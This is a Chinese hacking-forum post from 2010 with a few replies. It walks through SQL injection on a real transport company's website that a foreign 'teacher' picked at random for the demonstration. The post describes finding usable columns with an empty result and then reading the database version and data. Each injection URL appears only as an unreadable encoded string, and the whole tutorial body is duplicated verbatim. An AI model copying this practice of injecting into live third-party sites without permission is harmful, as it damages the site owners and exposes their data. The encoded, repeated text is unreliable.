-
-
[原创]和国外黑客老师学注入技巧方式
-
发表于: 2010-8-3 08:32
-
在写这篇文章之前，和他已经打过招呼了。此外如果你还单纯的用and 和or来进行注入检测这篇文章或许对您有用！
这篇文章应该奉献给我的老师，EgYpTion他来自国外，从他那里我学到很多技巧，针对SQL注入方式以及对web采点的方式。对于我是一个菜鸟来说，他操作真的熟练。现在介绍一下他入侵的方式，虽然很普通但很简练。换句话我们可以学到国外Hack的技术手法！
先申明下，这个网站是他为我演示操作SQL临时找的！
首先看下针对某一运输网站公司的注入
497K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4x3o6b7^5i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`. 注入点地址。
他注入的方式不同于我们国内采用 and 1-1 或 or 1=1方式进行回显来查看可否存在注入
他直接让数值返回空查可用字段也可以直接跳到下面
696K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7L8%4u0V1k6i4u0Q4x3V1u0T1P5g2)9J5b7W2!0q4y4W2)9&6y4g2!0n7x3q4!0q4y4g2)9^5x3q4!0n7b7H3`.`.
这样的目的好处在于针对过滤and和or语句有很好的帮助！
d89K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6x3W2)9J5b7K6y4Q4x3X3c8Q4x3X3b7`.
发现可用字段2，3
又查看了下数据库版本
09dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6N6X3g2J5M7$3W2G2L8W2)9J5z5q4)9J5z5g2)9J5b7K6y4Q4x3X3c8Q4x3X3b7`.
随后是他对于我这个菜鸟来说惊人的一目出来了！
291K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6k6%4u0G2N6i4m8Q4y4h3k6U0L8$3&6U0j5i4c8Q4x3U0S2@1j5h3u0D9k6g2)9#2k6Y4y4U0K9r3g2E0j5g2)9J5b7K6m8^5x3$3q4Q4x3V1y4@1j5h3u0D9k6g2)9#2k6X3&6S2L8h3g2Q4x3V1x3H3P5o6y4S2i4K6u0o6j5$3!0D9N6h3#2F1i4K6g2X3L8X3q4E0k6g2)9J5z5g2)9J5b7K6y4Q4x3V1u0X3M7X3!0E0i4K6u0n7K9h3&6X3L8%4u0E0j5i4c8A6L8$3&6Q4y4h3k6K6j5$3S2W2L8h3q4Q4x3X3g2U0L8$3I4#2L8h3&6K6i4K6u0n7N6$3S2W2M7X3g2Q4x3V1u0U0L8$3I4#2L8h3&6Q4y4h3k6F1j5h3#2W2i4K6u0n7e0p5W2w2c8g2)9J5b7V1y4t1b7g2u0Q4x3U0R3K6y4#2)9J5b7#2)9J5y4e0t1H3x3e0p5%4i4K6u0o6i4K6t1#2x3U0l9I4x3e0g2Q4x3V1y4Q4x3U0f1J5x3o6p5H3x3g2)9J5b7#2)9J5y4e0t1H3x3e0p5@1i4K6u0o6i4K6t1#2x3U0l9K6y4#2)9J5z5g2)9J5k6q4)9J5k6l9`.`.
接着
89fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6k6%4u0G2N6i4m8Q4y4h3k6U0L8$3&6U0j5i4c8Q4x3U0S2@1j5h3u0D9k6g2)9#2k6Y4y4U0K9r3g2E0j5g2)9J5b7K6m8^5x3$3q4Q4x3V1y4@1j5h3u0D9k6g2)9#2k6X3&6S2L8h3g2Q4x3V1x3H3P5o6y4S2i4K6u0o6j5$3!0D9N6h3#2F1i4K6g2X3L8X3q4E0k6g2)9J5z5g2)9J5b7K6y4Q4x3V1u0X3M7X3!0E0i4K6u0n7K9h3&6X3L8%4u0E0j5i4c8A6L8$3&6Q4y4h3k6K6j5$3S2W2L8h3q4Q4x3X3g2U0L8$3I4#2L8h3&6K6i4K6u0n7N6$3S2W2M7X3g2Q4x3V1u0U0L8$3I4#2L8h3&6Q4y4h3k6F1j5h3#2W2i4K6u0n7e0p5W2w2c8g2)9J5b7V1y4t1b7g2u0Q4x3U0R3K6y4#2)9J5b7#2)9J5y4e0t1H3x3e0p5J5i4K6u0o6i4K6t1#2x3U0l9&6y4#2)9J5b7#2)9J5y4e0t1H3x3e0p5#2i4K6u0o6i4K6t1#2x3U0l9K6y4#2)9J5z5g2)9J5k6q4)9J5k6l9`.`.
最后结束
fdaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6N6i4y4W2M7Y4m8S2M7%4y4%4L8%4u0V1i4K6u0o6g2i4y4W2M7V1I4G2k6$3W2F1i4K6u0n7k6Y4u0G2L8g2)9J5b7X3y4F1M7#2)9#2k6Y4N6W2j5W2)9J5k6h3q4V1L8h3W2F1i4K6g2X3N6i4y4W2M7Y4y4Q4x3X3c8Q4x3X3b7`.
虽然文章对于一些技术高超的人来说不算什么，但是对于初学者应该会有一些帮助！
这篇文章应该奉献给我的老师，EgYpTion他来自国外，从他那里我学到很多技巧，针对SQL注入方式以及对web采点的方式。对于我是一个菜鸟来说，他操作真的熟练。现在介绍一下他入侵的方式，虽然很普通但很简练。换句话我们可以学到国外Hack的技术手法！
先申明下，这个网站是他为我演示操作SQL临时找的！
首先看下针对某一运输网站公司的注入
497K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4x3o6b7^5i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`. 注入点地址。
他注入的方式不同于我们国内采用 and 1-1 或 or 1=1方式进行回显来查看可否存在注入
他直接让数值返回空查可用字段也可以直接跳到下面
696K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7L8%4u0V1k6i4u0Q4x3V1u0T1P5g2)9J5b7W2!0q4y4W2)9&6y4g2!0n7x3q4!0q4y4g2)9^5x3q4!0n7b7H3`.`.
这样的目的好处在于针对过滤and和or语句有很好的帮助！
d89K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6x3W2)9J5b7K6y4Q4x3X3c8Q4x3X3b7`.
发现可用字段2，3
又查看了下数据库版本
09dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6N6X3g2J5M7$3W2G2L8W2)9J5z5q4)9J5z5g2)9J5b7K6y4Q4x3X3c8Q4x3X3b7`.
随后是他对于我这个菜鸟来说惊人的一目出来了！
291K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6k6%4u0G2N6i4m8Q4y4h3k6U0L8$3&6U0j5i4c8Q4x3U0S2@1j5h3u0D9k6g2)9#2k6Y4y4U0K9r3g2E0j5g2)9J5b7K6m8^5x3$3q4Q4x3V1y4@1j5h3u0D9k6g2)9#2k6X3&6S2L8h3g2Q4x3V1x3H3P5o6y4S2i4K6u0o6j5$3!0D9N6h3#2F1i4K6g2X3L8X3q4E0k6g2)9J5z5g2)9J5b7K6y4Q4x3V1u0X3M7X3!0E0i4K6u0n7K9h3&6X3L8%4u0E0j5i4c8A6L8$3&6Q4y4h3k6K6j5$3S2W2L8h3q4Q4x3X3g2U0L8$3I4#2L8h3&6K6i4K6u0n7N6$3S2W2M7X3g2Q4x3V1u0U0L8$3I4#2L8h3&6Q4y4h3k6F1j5h3#2W2i4K6u0n7e0p5W2w2c8g2)9J5b7V1y4t1b7g2u0Q4x3U0R3K6y4#2)9J5b7#2)9J5y4e0t1H3x3e0p5%4i4K6u0o6i4K6t1#2x3U0l9I4x3e0g2Q4x3V1y4Q4x3U0f1J5x3o6p5H3x3g2)9J5b7#2)9J5y4e0t1H3x3e0p5@1i4K6u0o6i4K6t1#2x3U0l9K6y4#2)9J5z5g2)9J5k6q4)9J5k6l9`.`.
接着
89fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6k6%4u0G2N6i4m8Q4y4h3k6U0L8$3&6U0j5i4c8Q4x3U0S2@1j5h3u0D9k6g2)9#2k6Y4y4U0K9r3g2E0j5g2)9J5b7K6m8^5x3$3q4Q4x3V1y4@1j5h3u0D9k6g2)9#2k6X3&6S2L8h3g2Q4x3V1x3H3P5o6y4S2i4K6u0o6j5$3!0D9N6h3#2F1i4K6g2X3L8X3q4E0k6g2)9J5z5g2)9J5b7K6y4Q4x3V1u0X3M7X3!0E0i4K6u0n7K9h3&6X3L8%4u0E0j5i4c8A6L8$3&6Q4y4h3k6K6j5$3S2W2L8h3q4Q4x3X3g2U0L8$3I4#2L8h3&6K6i4K6u0n7N6$3S2W2M7X3g2Q4x3V1u0U0L8$3I4#2L8h3&6Q4y4h3k6F1j5h3#2W2i4K6u0n7e0p5W2w2c8g2)9J5b7V1y4t1b7g2u0Q4x3U0R3K6y4#2)9J5b7#2)9J5y4e0t1H3x3e0p5J5i4K6u0o6i4K6t1#2x3U0l9&6y4#2)9J5b7#2)9J5y4e0t1H3x3e0p5#2i4K6u0o6i4K6t1#2x3U0l9K6y4#2)9J5z5g2)9J5k6q4)9J5k6l9`.`.
最后结束
fdaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6g2S2j5h3q4)9J5k6i4y4W2i4K6u0r3L8h3q4J5K9i4c8A6L8h3g2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1c8Q4x3X3b7I4x3o6b7^5i4K6u0n7N6h3&6A6L8$3&6Q4x3V1u0K6k6h3I4W2j5%4c8Q4x3V1t1I4i4K6u0o6N6i4y4W2M7Y4m8S2M7%4y4%4L8%4u0V1i4K6u0o6g2i4y4W2M7V1I4G2k6$3W2F1i4K6u0n7k6Y4u0G2L8g2)9J5b7X3y4F1M7#2)9#2k6Y4N6W2j5W2)9J5k6h3q4V1L8h3W2F1i4K6g2X3N6i4y4W2M7Y4y4Q4x3X3c8Q4x3X3b7`.
虽然文章对于一些技术高超的人来说不算什么，但是对于初学者应该会有一些帮助！
|
|
|---|---|
|
|
在写这个文章之前，我考虑了一会。这种文章实在是普通了些，但而且容易被人说炫耀，可就某一事情来看。一个好的老师，会引导你学的更精深一些！针对于国内某些教学网站基本都是演练一些很久以前的技术，虽然说，了解最新的技术，也不如精通沉旧的知识！但是对于学习来说我们还是需要靠咋们自己!别人掌握的我们只能领略他的技巧及经验。建议大家不要乱报国内一些这个方面的学员！我并不是针对性，我也曾经报过国内某大型hack性质网站的学员，学习环境以及学习态度，真的在那里很不适合我们！学习还是要靠大家。尽量少废话。多学习~！
 如果闲的蛋疼也可以来灌水哈！
|
|
|
|
|
|
 我现在也亲近于看雪。发这个文章主要是针对初学者的学习一个建议哈不过我有个问题zapline你都那么高等级了。怎么还是初级会员？？？那我啥时候能混出头？ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
不错 学习了~~~
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
